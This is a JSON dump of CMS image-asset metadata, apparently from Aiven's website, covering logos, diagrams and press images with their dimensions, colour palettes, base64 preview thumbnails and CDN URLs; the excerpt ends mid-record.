{"_createdAt":"2024-10-24T13:55:37Z","_id":"image-021a6f90ee428effcf3e1c8325ac90149cf45f0e-1590x1053-png","_rev":"eOGTVivSz2oqfsen7KLfHa","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T13:55:37Z","assetId":"021a6f90ee428effcf3e1c8325ac90149cf45f0e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VNJal[5600~C0J.8V@RPo#V@00WB-qxZ-;M_NGRk%1kC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5099715099715099,"height":1053,"width":1590},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIklEQVR4nG2TW2gdVRSGc2sMlrZGULQWLUihQRCpSLAv50FFBWmkMl5oodJKKBGl9UWhxcGHPkQk4EOkovggltJTqpKLqaUmpoQmtomkTa1tmpw4SWamZy5nZvbMvsxt/3IOVWk8CxYsNmv9rM36v4aGNQGgsd4blsbaEC48CF5+HIG1DdTeDJjrUSw2r+3/b6huFpvhL9+PxH0W3O9BGn6KmPVJQT5EFLwsqbMFwLp6gq3lcvQQIaSDCLG9Wks5fw/gt0NUXkFKv8kiejXRK6vJsmPkQXgLMR8CJQfhmVsxNtZylxghooNQfjCIxBcRi/sJTbrDOH4CCHYiZV/lSaJHC3ZifHcpt76eyPmMluUhJ0jicwj91+Fr7QCaGlRVbXIc+khIxfteyC8aLilbblSOvPACW9SOZKWFjyWjVzKWJLcvlOTsoe/l9XdOSPfUtEydKJdZpoPyzxAE2/4VLHvRU1wk31YI8xZW7KykWRmZX/biwV8msx/OjWPFtFIqpDWr40rvKOaODsM++wcSj0rkOQGPi7DtZ2oHUoEm26dPc5GcDKkIDKuSm4ad0+slkpwemc1ODV6SJc1NmZCBFWD1dw2rUyV4mo2YCZmnWQQen4HjdNYEq2t6Ht9KInaUcTEXhjQkJAyZ7c1GV//sS+fm+kD8G2kcZ6HvS880pacbCBxXxkLkeZpaEKJfEtJR+3LVGrqu32s6QaftBsdsu/KzbVfO2q73Sdl1d/LIfQkZO50nrJLYK1l8bTIXlydkvLiY55QxZNkkougADOOBmuCdOzf+ODGxYWRkfMfw8Ogbg4Pn3xwYOL9jauqnjYj+ehix9zZCYwg3xzUMfenj5HGCX0dvwzQvSsaO3Nnubi8qitK8Z897GxWl+9Hdu/c/pijdm1RVbcH09DpJ57ekt8ZeTYd6e/nnPWf4scMDor/veDw+egC6vh1LS231YGksFAothX372gqFaqpVo9YwrNKinfiofUZ97cmZD7qe++3dt16c7OnunFHVzdeKxdZ/+upHjeX/86yqhZa9L+xdrzyvbOrq6rpv1679G1RVbV3L/t/fM4v24KPD/QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#374a64","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f2c16","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45c1e","foreground":"#fff","population":0.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9fae","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#95666d","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45c1e","foreground":"#fff","population":0.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-own-connector-with-kafka.png","path":"images/sczeoy4w/production/021a6f90ee428effcf3e1c8325ac90149cf45f0e-1590x1053.png","sha1hash":"021a6f90ee428effcf3e1c8325ac90149cf45f0e","size":48822,"uploadId":"eMZp5O1uDPBVcsWPFgISgoqSccIoRkX8","url":"https://cdn.sanity.io/images/sczeoy4w/production/021a6f90ee428effcf3e1c8325ac90149cf45f0e-1590x1053.png"} {"_createdAt":"2024-10-24T13:55:52Z","_id":"image-5ea184bad37acc7cded4b43bf3508b060b08d438-540x524-png","_rev":"bH41C32nCYYyBv2hLCn8qU","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T13:55:52Z","assetId":"5ea184bad37acc7cded4b43bf3508b060b08d438","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHHUq+%M009GXc_2t74-jctM00t7~qj[aQM_bEtMRkIVM#D*xu?aoM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0305343511450382,"height":524,"width":540},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFR0lEQVR4nGWUeUwUVxzHB2LTNo1Naky1SRObtqZp/2ibmCqpjdS0sjOzy6rUqlFQkVYpVBHY3TkWHIWKCFKhVXHlnmNnWW7BAgIu5VLKsSrXggILLMhyLfc985pBpTb+8ZJ3JJ/3/f6+v/cgCIIgytW0JkjBrSdg5jMNSn8d4mFAQ/boPXFUfxpHuHAc5W6e25eZe8X3dnXMyfzm0D3pfTjCduAwF47J+A8oinKGIMhJYkEUBZwpmHmbcNfv0ir5KzEn8nP5S5VlbERF7dXTRY90waWW1NCKbmN07UCFsX2khG6auB5UMkPtzbCRqCEmRM5tBgA8g70AXpRz72jl6UcjDufVZcX+M916r2+huaZ3uTrPIprvWoWOhqeCtWVY6G0bFRpKOgXDpWrhwqGcERLlb0quAPQ/IOWsViauJWT6/b+fyG+syGwTRvonxaG+cfFp9xhwDE2LU45ZcW5mQRy0OsRS/UMxXlUsnt+fMYmjLI+50V+swlaAEOUcB//1usqNhiM8sypzr9ctWer7xa6mQdD/ZBTYnoyCrmY7mBiZAUO946AozQyif8oTSQU/h6PsLRylt0mMVaAkl3Kl1hAIu12r4Apif7k9W5RqFlvv94HBbgfobrYDaT42OAUmR2dB490ukKgtFc/uNSxqYKZMDTPf6bbUv/aybSdpQaLslxjMcGEHssaz4mqFnrYhcW56EUyNzUm2wez0wgq0qaoHZP95X4zwyl5Wy+hajYz1iN5Fv/VyME5SHTUo/ymB8vFn92QMp4SaBEudTZyfXQQLc0tgZmIeTI/PrZSgobQTFCY3itcCC8XIIzmWS8dyA2J98ja8BAROUtIqmP9IqzBEhigMtote2UJBQr1ot44Dh316xbZU08fmAdBc0wsaSjrFcmOLeCetaTArrjY2Oax886sKYeZ9rcKIk3JDZ8hug0CHl4tdTXYwaHWA1vs20FrbBzofPQtKGtaWYfGBqWeiMKmR1UdVfP4KkFJw60lFum+oMr1VSrEo1QxsHaPgabcDWFuGgL13HIzZp1ZtSwoLdI0zfGRVDnO+/Kvnr+W5aQCc1MrctYTScPDyz7fMBQkNK+rsPeOgt21YtLYOibbHI2Jbbd+zPlQXidKl188Uz6ecNd3RqUt3ntii+y9pCXh0U8ob1P5MlImorGqvH1iamZwX7b0OsaWmb9Fs6l6ozG5bZi9UCFdPFwpR3nlClHeuEB98Zz4l1PS37kyJPNDF+OaqypVehKg153/I2Ka/eC+x66G9Y2lheWrMPjVXV/zEVpTysD3nj7r+JKJ8QKcp60oiTJZkrelBEnm3Ol5VHB99PHdHoEvMKtDpRR1VqHHjDVUJbLk3EDozMW8atDraKnMsGYaoqkjj5Zo4PrLmctq5Cm0yafr1hqrU84pvvvK3w1kuhLt+g/RjrVjW7mQ3SQkHuhnXBbnq1uMe3Id58ebtNXntZBn/6BoXWXky1u/WNwlk6darAQU7In2yt4b9aPxE/X3yZj/XhI/9XFM2Bu+i3yVlzHuUW8I6iID1nriMUWIouwOTMd/ickZJ7TagYQcyj4UfyvQJ2c0ewlEaJt0NLjjCK6RzrYJxIxU8gsNpKA7zbjiqhzXyNJlGnroVwlBOjcPcYRzhvDGEC8BQRo0jtLe0p4Hpg5iM9cdgNhBHeS8C1XtqUd5L6244pUV5HwLW7yNRgx+BGANwlPUiUNYDwmTMORxl/AiE1WgQmtAgaUGEjPbHYOY4idBHMBntr4ZpTAOzKgxmTuEI64sjXBCB6P01CO1NwGwgAXM4JtcH4wgf9C/oV2Ov+3VkKQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c1464","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ae97c5","foreground":"#000","population":0.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ae97c5","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb4fc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b5d9e","foreground":"#fff","population":0.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b49b5","foreground":"#fff","population":0.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-datadog.png","path":"images/sczeoy4w/production/5ea184bad37acc7cded4b43bf3508b060b08d438-540x524.png","sha1hash":"5ea184bad37acc7cded4b43bf3508b060b08d438","size":12174,"uploadId":"ojGQtfbkDhqvBESeQb4zCseJOw7coAm1","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ea184bad37acc7cded4b43bf3508b060b08d438-540x524.png"} {"_createdAt":"2024-10-24T13:56:11Z","_id":"image-4039546f54e4ce9c686fbfd2f8c014866016a09e-1157x227-png","_rev":"9KXJIj517MDuzut1TTmFAr","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T13:56:11Z","assetId":"4039546f54e4ce9c686fbfd2f8c014866016a09e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"403bgo%Mxu%M%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.096916299559472,"height":227,"width":1157},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAx0lEQVR4nE2QsU4EMQxEt+c4OF19QsByCbuJ7Vl7025BRcMH0NJQUvEFfPhpJCJdYTljj+w8D+u6HlXVALwBGFNKt9u27UTkZpqmHbWq3jN37e534zjuu26t7VnLOR8HM3sH8AvgW1XniDiZ2Yu7P4vIOSJSRBR3z6WUXGtN8zy/9jd9rbVHekUEHPhpZn/LsvwAEAAPV+bMgVxkZpOIFPZIwj7r/0ufmN19Gdy9Avgwsy9VbbXWA7/PIMo1UkfnOTp69zF4vgsSBTe+LFWwIwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":5.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":5.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-karapace.png","path":"images/sczeoy4w/production/4039546f54e4ce9c686fbfd2f8c014866016a09e-1157x227.png","sha1hash":"4039546f54e4ce9c686fbfd2f8c014866016a09e","size":5537,"uploadId":"uKfyB564W8RMlLf5Ggq9uuJJFGiiZQEL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4039546f54e4ce9c686fbfd2f8c014866016a09e-1157x227.png"} {"_createdAt":"2024-10-24T15:23:08Z","_id":"image-fa4c585826354ada9ddf0a5ddc08630f72a90875-1200x630-png","_rev":"eOGTVivSz2oqfsen7KV05m","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T15:23:08Z","assetId":"fa4c585826354ada9ddf0a5ddc08630f72a90875","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBB3B*0v#+TN:|R}Ow}h0-xu%LROJW$$$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADEElEQVR4nC2SW2+aBQBAv3+gWbeVlgItXT8+1nKHAi2MAoXC2GZv9sLoHVYoUGhLW8iwrWylo3NWp4vpkpmYJXV2WdzmYh800xiNS/Rp0fii2YOJiS/+hWNq/Acn5xzhpHyMetVl5K2TyM/M0KCeRdaSQNaSpLE1S1PbEk3iKkqpiEpbRq2r0m6/i7nnCe6+JyRHbvIgP8cv2/38czuIIFNF0ZrmMTsXMTpySMYs6vY0rR05RH0BjamEZC7T0blFh+0aomkHjfUj9K5HOHsfMzWwx35ynh/KQ7yqhREaW2JYXTm8oRKeYIkubwmrq0jnuat0+yq4AlXcwRr+yLt4Qnvone8gWu7Q3vUZVu/nXAp9yFY0x6fZCZ6uRBFOKcbR6K9gdGQxO/OYuwuYnKuYnSVs7g3sngpdviquwC62c7tIlhtoLB9gdB9g7TnE73mPxfOLbA/HWenPI5xsGkN9dpaz5hQ6WwajYxmTYxWDfR2drYTOVsbg2MLguIZkrtCqv47eeQdX6JBA5JCZ3i12/UPU/IMsuOcRTiuPCROY/ie0dBWwdK9jsBeRTGuo29dQSmsopBIKqUyrYQeH/2PCw88Yjz6lOrjOs7Cdw14HNU8/Qp18FJU4hai7gsaYQjJm0BqP4yzTpiuglFZQinlE7RLajlV01h28kQOGJp8zFf+G8tgtDs5HuB8MsOGdRnitfpi6hhGOXdarJqhvnkHWHKdBnfpvG2VbDrs5zeVAguSFBLGLb/Hm+EMmki+Yy/xMLPoFs6E9ZgM3uejbR3j91CBy2SCq5ihNZ6Y5rZrmROM0J+Rx6hQpFOo0F1xxbk2M8ig7wL3FDCvpQ+aXXpIq/MpA7HucgS+x+Y6weI8QFM3j6MQoFlMCQ2eWNl0apZhEKaZRafKIHcuMBhe4n4ny8vobvLixwN7mY4pv/06x8opY8ic8l77GEfoKZ+gIweVbwesv4A8W8YWv4u3boCe4ibevgi9cJRCpkYht83BrlT/vJfnjk00e7H/L7f2/eP/u3xQrvzG58COjc98xMvucfwGhELtGLVu3cgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c427a","foreground":"#fff","population":1.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":6.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":6.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6aad7","foreground":"#000","population":1.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9e42","foreground":"#000","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24c11","foreground":"#fff","population":1.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Gartner IT IOCS 2024.png","path":"images/sczeoy4w/production/fa4c585826354ada9ddf0a5ddc08630f72a90875-1200x630.png","sha1hash":"fa4c585826354ada9ddf0a5ddc08630f72a90875","size":248454,"uploadId":"dVuV6akB3GV87n68L1BoXhIyvig6CLXl","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa4c585826354ada9ddf0a5ddc08630f72a90875-1200x630.png"} {"_createdAt":"2024-10-04T17:29:40Z","_id":"image-2c440e249838327d9ab3c20db62c1665e911d92c-1200x628-png","_rev":"WvYfyMjuvK5pr969lSWKHX","_type":"sanity.imageAsset","_updatedAt":"2024-10-04T17:34:13Z","altText":"Prometheus at Scale with Aiven for Metrics","assetId":"2c440e249838327d9ab3c20db62c1665e911d92c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNi=.yV=-od?~qpHZ$i~idcCahf9bag2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACLUlEQVQokV3S3U/TdxiG8W/LRokLCdnYhtNtrKUtOoaOCbXDdYs7nCdTkRdFeVNDQLK4QqaCDGhngY4KiujO/EN/12XgZ1ziwX36yX3neQLDKZk5IXNdci8jf+Rk6VtZOiXltJQ7delreZiRlays5WW7T/ZL8uy81E/JVlZ2emSvz8DoMZnLyoPz8qgojwelelEqJVkvSqWolX6pDshmUXZK8uo3eX1VXl2UzS6pnpDaN7LVZWCkJQaXL8jjC7JckPWSbPz0DqRakH8KUi/J7q/y3yV5PSQHv0j1K1n7VCrHZb3dwNCHMtUh9/Ky0CXznXI/K4t5WczIUlr/SsuDtKx2S6VH6udk/+d48mZWammpdcpGh4HLCY/QkZSMpeRGs9xKyWSLTKfkdkrvpmQ2JfMtcr9VVo5LrVsaZ+XpWdn9Xho9spUx8HvwKJeDXA0yHGQ0yPUgN4NMBJlJyN0mmU3KQrM8bJcnWWmckUavPD0TZztniA6hK0kZapLhpIwkZCzIjbfgVFLmP5Lyx1Juk8U2Wf1Ctk/HzerdRxCN745ahmjoA6PxNqPJdplok/HD6Yn/wekm+fMTWc/IRlr+/lIqadnplb0fpJ6XrVyM7xcM0bVmo8nPje6clJnP5OYxuf4eWG6X2mmp98qTnNTystsnz/vj/ztst1+Qg0FDdCVpdPjcoy3xUcaaYnA8IbcS8eSFVqnm5N9eqWZicK9fXhTl2Tl5PiAHP8rLQd8AgFEDjdhJgsUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#905208","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bc75","foreground":"#000","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.38,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Prometheus at Scale with Aiven for Metrics.png","path":"images/sczeoy4w/production/2c440e249838327d9ab3c20db62c1665e911d92c-1200x628.png","sha1hash":"2c440e249838327d9ab3c20db62c1665e911d92c","size":159137,"title":"Prometheus at Scale with Aiven for Metrics","uploadId":"HnNCw2iinQvwHngvDYu0XGEeh7vgh2JM","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c440e249838327d9ab3c20db62c1665e911d92c-1200x628.png"} {"_createdAt":"2024-10-01T14:42:50Z","_id":"image-8ef7015b457e7cd6a40bb8b88528f7e6171071ad-1200x630-jpg","_rev":"8q08tYxGNL2qfrtMKS2dlD","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T14:42:50Z","assetId":"8ef7015b457e7cd6a40bb8b88528f7e6171071ad","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOPZiw_KIX%f,,tQI^z-X:t7=pXWxoIWr:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAAiEAACAQQCAQUAAAAAAAAAAAABAgMABRESBDEhExQyM5H/xAAXAQADAQAAAAAAAAAAAAAAAAABAgME/8QAHhEAAgICAgMAAAAAAAAAAAAAAQIAEQMEBRMxMoH/2gAMAwEAAhEDEQA/AN35kl099IqesIdvGoHVSJnElv1lZ9x3v8jVqn2yeT+0pXJ2F7mUMcY6qjZ+tkFexqMmHsDG/AuL8/KMk8pbhOcMRkUUxIqkEkDNFam4/QY2cIv7COR2QKDmf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353867","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14183d","foreground":"#fff","population":2.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a55e","foreground":"#000","population":5.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2b5c5","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a55e","foreground":"#000","population":5.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#616591","foreground":"#fff","population":0.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9234","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Announcing Aiven for AlloyDB Omni Press release.jpg","path":"images/sczeoy4w/production/8ef7015b457e7cd6a40bb8b88528f7e6171071ad-1200x630.jpg","sha1hash":"8ef7015b457e7cd6a40bb8b88528f7e6171071ad","size":52764,"uploadId":"kCPfDV8YiTIETNjwKxJzhHveHg5vhyfJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ef7015b457e7cd6a40bb8b88528f7e6171071ad-1200x630.jpg"} {"_createdAt":"2024-10-10T12:40:23Z","_id":"image-c8f256c23113873deaa3865819e3a10239a9892f-2667x1500-png","_rev":"exgZYl4YMpSEzTrzwsIxjc","_type":"sanity.imageAsset","_updatedAt":"2024-10-10T12:40:23Z","assetId":"c8f256c23113873deaa3865819e3a10239a9892f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJNdO80000My00~q9Ft7RjM{00Rj_3xu%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.778,"height":1500,"width":2667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2UlEQVQokUWRT0wUVxzH36F3Tag1nuyBRc7eVmPPlsbowcDObC9GvRjcFdpugBBKPchJTLQqNjuzBvEPsTY9VI0HE9iBhRqRCD0QoWmFZXcWdnbgDfv+zryfmVkJv+ST7++XX973ffMe+iYeR01NTYeOH4unv0/qLy93dk6lUql8KpWy0ul0RFdXl9Xf328ND1+3stnstGVZ/9Rq7gbnfIsx5gkh/pNS/kwIOYAGfuxGXx8+3Hzxwvlbj8bGSn/Pzu7Mzc3hBu/w/Px8xMLCAl5aWsIrKyuebduEECoopZISooQQFd/3rxFCDqLf7t5Gzc3NrT2ZjDkzNV33tjEwxoAyGinnAjjnUd+YOQghgBAK1aqjqtUq7OzsVIUQQ5TSg2j04SiKtcRa+zK9xqw1g7GLgXEWcMmV9KUKgiDC9/2I3R5jrNaKxWB1dQ0cx9kkhDQMx8fHUEtLrDXzU68xMVHwNjdqUK/XFeVUhaa7RkJIJWXjgnAmhCjHqanNqgPY8zYYY9copV+h3580DH/I9BmvJ2e8TWcLKGOKSQZcCvB9P0JKCVL6EARBRGhOmFDYI+C67r+uW7uCsbcPjT9+1EiY6TUm8wXPcdyGoWBRwvCgL/cS7iUWinEBdmUjmClYU38+e9K2uPj+C/T02R8oFosd6e3pMwrTBey6W8A4D0QglAx81Sj4/JZKAUCE7/tBmHj14//y4Wj25bnkmTgAIDQw+Ev0y+lU2nz+1/P68odlWCuuQbFUhPXyOpRtG2zbhlK5DOVyGSqVCth2BUqlMpRKJZh7+ya4OTz06vS3x+MorPv3R/e3tX0X1xKJ3NXBQfveyIhnGMa2YRrYME1sRuQ+q4lzuVyEaZrb4f7G8HW389LFF4mzp07e+vX2lyibNY9mMj2apul329s7Xuu6bul6Mh+iaXo+kdAi1fRkPhGqpke7aK8n8x0dHZOalnjQ3d114c6dkROfABuBksAMyUngAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2492b0","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#619f97","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa2b5","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac94ee","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#619f97","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c45f","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-console-services-google-cloud-emea-partner-of-the-year-breakthrough-2023 (1).png","path":"images/sczeoy4w/production/c8f256c23113873deaa3865819e3a10239a9892f-2667x1500.png","sha1hash":"c8f256c23113873deaa3865819e3a10239a9892f","size":79060,"uploadId":"iQ0d6tlaGvDPRazf8gapnvnAEcPrG9z1","url":"https://cdn.sanity.io/images/sczeoy4w/production/c8f256c23113873deaa3865819e3a10239a9892f-2667x1500.png"} {"_createdAt":"2024-10-10T12:48:36Z","_id":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_rev":"exgZYl4YMpSEzTrzwsKNya","_type":"sanity.imageAsset","_updatedAt":"2024-10-10T12:48:36Z","assetId":"88b2848ed2d49660e7a2b377d802062d5a6889ed","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHMQ-RWC00s;00%MayIUayM{00jZ~qj@?b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.778,"height":1500,"width":2667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2ElEQVQokUWRz08TQRTH908wkYsnPFDkbDxYDR6NgZiQaOjugggKF4Nt+FWBEILGxAtCItCistNSKkpET2LDAQNsAYmBGi6AhQIB2iLB0u2Pnd3Z3Wd2FuNLPnkveZPPfDPD3LDbmYLz5y9cv2Z3VVfxoceNjWGn0znvdDpFl8tFaWpqEru6usT+/j7R6/WKXq9H9HiGTMK9vb3f2tpan7OswwYADNPd2sJcLCwsaqh/ODAeDMaXl5ezKysrksWqFIlEpEjkp7S2tiZtbGxI0WhU2tzclNbX100y4bCYGhocmKyrrblChW+8Q0xRUVFJu9uNlsILuUxaAowxyFimXVFUUBSFzhgrdJZlGTLZLORyedje2tJH/Wj6QW21nQoD7wKMrdhW0unuEL6LS5KUSgNWsK4QxSAaMXRdp2iaRjFnlahGXs7rWFGMvb1dEhzzh+ruc1epcGIiyBQX20rcbR3C7Oxi5vj3H8jlcoasyIYp/SdSVWIQYl2gKIqRyWaNXD4PuzsxEgygUO29Sks4+cEStrg7hZm5pczxySnIGBuYYFCICpqmUQghQIgGuq6Dqqr00nw+DzuxbRLwvw3VcBVnCd+PWwndHcLc/GLm5CRlCVVME5qpNPI/oZmWEM3A5hmMIRbbIqNoOFRVWW4JP376zNhstksd7Z3C4sKidJo6NR9eV3XVILpmWAVnb2kYAEDRNF03k+/txsgo8obYOzctYXfPU/rLLqcLTX2ZykV/RWH/YB8O4gdwmDiERDIJyWQS4okEJBIJODo6gmTyCOLxBMTjcVhd+aG/6n8xXVFWamfM8vsD58rKyu0cy/qe9fQkXw8PZwRBSAtIkEwQQhJCvrOOJJ/PR0EIpQWEpL6+l6nGRw1fHXdv3xoYHCpgRkbQZbf7CcdxvLey0jHD87zI81XzJhzHz7MsZ3aR43mR5ehMd3TPV4kOh2OO49ix5uameo9nuPQvW9N2IKmavoYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44443c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2592af","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sani